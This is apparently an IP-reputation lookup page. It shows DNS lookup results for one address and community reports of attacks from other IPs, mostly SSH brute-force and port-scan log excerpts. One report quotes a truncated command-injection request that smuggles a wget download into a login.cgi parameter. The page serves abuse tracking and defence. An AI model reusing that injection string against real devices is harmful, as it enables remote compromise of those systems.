Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: None

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.12.254
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 41833
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.12.254.			IN	A

;; AUTHORITY SECTION:
.			340	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021700 1800 900 604800 86400

;; Query time: 19 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 18 02:10:21 CST 2022
;; MSG SIZE  rcvd: 106
Host info
Host 254.12.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 254.12.21.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
201.161.58.185 attackspam
Jan 31 13:09:22 www sshd\[38683\]: Invalid user ramesh from 201.161.58.185
Jan 31 13:09:22 www sshd\[38683\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.161.58.185
Jan 31 13:09:23 www sshd\[38683\]: Failed password for invalid user ramesh from 201.161.58.185 port 54955 ssh2
...
2020-01-31 19:19:19
117.6.87.131 attackspam
1580460465 - 01/31/2020 09:47:45 Host: 117.6.87.131/117.6.87.131 Port: 445 TCP Blocked
2020-01-31 19:15:14
180.180.240.130 attack
1580461668 - 01/31/2020 10:07:48 Host: 180.180.240.130/180.180.240.130 Port: 445 TCP Blocked
2020-01-31 19:35:16
113.53.66.57 attackbots
Unauthorized connection attempt from IP address 113.53.66.57 on Port 445(SMB)
2020-01-31 19:25:20
185.234.217.194 attack
Rude login attack (7 tries in 1d)
2020-01-31 19:32:06
87.226.167.122 attackbots
Unauthorized connection attempt from IP address 87.226.167.122 on Port 445(SMB)
2020-01-31 19:31:19
92.222.36.74 attackbots
Jan 30 22:02:37 pi01 sshd[18963]: Connection from 92.222.36.74 port 55344 on 192.168.1.10 port 22
Jan 30 22:02:38 pi01 sshd[18963]: Invalid user lakshmi from 92.222.36.74 port 55344
Jan 30 22:02:38 pi01 sshd[18963]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.222.36.74
Jan 30 22:02:39 pi01 sshd[18963]: Failed password for invalid user lakshmi from 92.222.36.74 port 55344 ssh2
Jan 30 22:02:39 pi01 sshd[18963]: Received disconnect from 92.222.36.74 port 55344:11: Bye Bye [preauth]
Jan 30 22:02:39 pi01 sshd[18963]: Disconnected from 92.222.36.74 port 55344 [preauth]
Jan 30 22:22:39 pi01 sshd[19989]: Connection from 92.222.36.74 port 55702 on 192.168.1.10 port 22
Jan 30 22:22:40 pi01 sshd[19989]: Invalid user vajrapani from 92.222.36.74 port 55702
Jan 30 22:22:40 pi01 sshd[19989]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.222.36.74
Jan 30 22:22:42 pi01 sshd[19989]: Failed passwor........
-------------------------------
2020-01-31 19:22:13
139.129.241.241 attackbotsspam
SSH login attempts brute force.
2020-01-31 19:21:43
80.82.77.132 attack
Unauthorised access (Jan 31) SRC=80.82.77.132 LEN=40 PREC=0x20 TTL=250 ID=32851 TCP DPT=5432 WINDOW=1024 SYN
2020-01-31 19:10:58
2607:5300:60:797f:: attackbotsspam
2607:5300:60:797f:: - - [31/Jan/2020:11:48:10 +0300] "POST /wp-login.php HTTP/1.1" 200 2568 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
2020-01-31 18:55:06
136.56.52.204 attackbotsspam
detected by Fail2Ban
2020-01-31 19:32:22
95.15.206.146 attackbots
Unauthorized connection attempt detected from IP address 95.15.206.146 to port 81 [J]
2020-01-31 19:41:26
106.13.135.107 attack
Jan 28 06:20:35 h2040555 sshd[31608]: Invalid user design from 106.13.135.107
Jan 28 06:20:35 h2040555 sshd[31608]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.135.107 
Jan 28 06:20:37 h2040555 sshd[31608]: Failed password for invalid user design from 106.13.135.107 port 41276 ssh2
Jan 28 06:20:38 h2040555 sshd[31608]: Received disconnect from 106.13.135.107: 11: Bye Bye [preauth]
Jan 28 06:47:02 h2040555 sshd[32053]: Invalid user rajesh from 106.13.135.107
Jan 28 06:47:02 h2040555 sshd[32053]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.135.107 
Jan 28 06:47:04 h2040555 sshd[32053]: Failed password for invalid user rajesh from 106.13.135.107 port 43808 ssh2
Jan 28 06:47:04 h2040555 sshd[32053]: Received disconnect from 106.13.135.107: 11: Bye Bye [preauth]
Jan 28 06:50:07 h2040555 sshd[32115]: Invalid user forum from 106.13.135.107
Jan 28 06:50:07 h2040555 sshd[32115]:........
-------------------------------
2020-01-31 19:34:57
222.186.175.215 attackbotsspam
k+ssh-bruteforce
2020-01-31 19:18:35
178.172.249.221 attack
"GET /login.cgi?cli=aa%20aa%27;wget%20http://
2020-01-31 19:30:35

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